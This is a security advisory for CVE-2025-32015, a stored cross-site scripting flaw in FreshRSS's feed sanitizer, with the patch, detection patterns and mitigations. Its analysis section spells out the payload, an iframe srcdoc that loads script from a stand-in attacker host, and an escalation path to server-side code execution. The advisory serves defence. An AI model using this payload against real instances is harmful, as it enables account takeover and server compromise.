CVE-2025-32015: FreshRSS XSS Vulnerability

CVE-2025-32015 Overview

CVE-2025-32015 is a stored cross-site scripting (XSS) vulnerability [CWE-79] in FreshRSS, a self-hosted RSS feed aggregator. Versions prior to 1.26.2 fail to properly sanitize HTML inside the <iframe srcdoc> attribute. An attacker who controls a feed subscribed to by a victim can inject a <script src> tag that loads attacker-controlled UserJS in the victim's browser session. The attacker must also hold an account on the same FreshRSS instance to stage the payload. Successful exploitation hijacks the victim's session and, if the victim is an administrator, enables user deletion or arbitrary server-side code execution by rewriting the update URL through fetch().

Critical Impact
Account takeover via stored XSS; administrator compromise can lead to remote code execution on the FreshRSS server.

Affected Products

FreshRSS versions prior to 1.26.2
Self-hosted FreshRSS deployments accepting subscriber-controlled feeds
FreshRSS instances shared among multiple users

Discovery Timeline

2025-06-04 - CVE-2025-32015 published to the National Vulnerability Database
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-32015

Vulnerability Analysis

FreshRSS sanitizes feed HTML through SimplePie's strip_attributes list before rendering items. The list did not include the srcdoc attribute of <iframe> elements. An attacker publishing a controlled feed can embed an <iframe srcdoc="..."> whose inline document contains <script src="//attacker/userjs.js">. When the victim opens the article, the browser parses the srcdoc document and loads the remote script under the FreshRSS origin.

The payload runs with the victim's session cookies. It can call authenticated FreshRSS endpoints on the victim's behalf. Administrator sessions can invoke the account management endpoints to delete users or modify the auto-update URL that FreshRSS fetches during upgrade, which redirects the instance to attacker-supplied code and achieves server-side code execution.

Root Cause

The sanitizer whitelist in lib/lib_rss.php omitted srcdoc from the attributes stripped from feed HTML. HTML parsed inside srcdoc is treated as an independent document, so any content sanitization applied to the parent document does not extend to the nested one. The missing entry allowed inline script markup to survive filtering.

Attack Vector

Exploitation requires two preconditions: the attacker controls a feed the victim subscribes to, and the attacker holds a local account on the target FreshRSS instance. The user must open the malicious article, satisfying the user-interaction requirement. Once the payload executes, it operates with the victim's authenticated privileges over the network-facing web interface.

php

// Patch: lib/lib_rss.php — add 'srcdoc' to the stripped attributes list
$simplePie->strip_attributes(array_merge($simplePie->strip_attributes, [
    'autoplay', 'class', 'onload', 'onunload', 'onclick', 'ondblclick', 'onmousedown', 'onmouseup',
    'onmouseover', 'onmousemove', 'onmouseout', 'onfocus', 'onblur',
-   'onkeypress', 'onkeydown', 'onkeyup', 'onselect', 'onchange', 'seamless', 'sizes', 'srcset']));
+   'onkeypress', 'onkeydown', 'onkeyup', 'onselect', 'onchange', 'seamless', 'sizes', 'srcdoc', 'srcset']));

Source: FreshRSS commit 54e2f91

Detection Methods for CVE-2025-32015

Indicators of Compromise

Feed items containing <iframe> elements with a populated srcdoc attribute in the FreshRSS database.
Outbound HTTP requests from user browsers to unfamiliar domains hosting JavaScript, initiated while viewing FreshRSS.
Unexpected changes to the FreshRSS auto-update URL configuration or unplanned user deletions in the admin panel.
New or modified UserJS entries not created by the account owner.

Detection Strategies

Query the article store for feed content matching the pattern iframe[^>]*srcdoc= to surface historical injection attempts.
Inspect web server access logs for POST requests to /i/?c=user&a=delete or update-URL endpoints originating from browser sessions rather than direct admin activity.
Monitor Content Security Policy violation reports for script-src violations on FreshRSS origins.

Monitoring Recommendations

Enable and review FreshRSS application logs for administrative actions performed shortly after article reads.
Alert on modifications to FreshRSS configuration files and the auto-update URL setting.
Track outbound egress from the FreshRSS host process to non-standard destinations that may indicate a hijacked update flow.

How to Mitigate CVE-2025-32015

Immediate Actions Required

Upgrade FreshRSS to version 1.26.2 or later on every self-hosted instance.
Audit existing subscriber accounts and remove untrusted users, particularly on shared instances.
Review admin activity and the configured update URL for signs of tampering before restarting the service.

Patch Information

The fix is delivered in FreshRSS 1.26.2 via commit 54e2f91, which adds srcdoc to the SimplePie strip_attributes list in lib/lib_rss.php. Additional context is documented in GitHub Security Advisory GHSA-wgrq-mcwc-8f8v.

Workarounds

Restrict account registration so only trusted users can add feeds on the instance.
Deploy a strict Content Security Policy that forbids inline scripts and unapproved script sources on the FreshRSS origin.
Front FreshRSS with a reverse proxy that strips srcdoc attributes from response bodies until patching is complete.

bash

# Verify installed FreshRSS version and upgrade via git
cd /var/www/FreshRSS
git fetch --tags
git checkout 1.26.2
php ./cli/update.php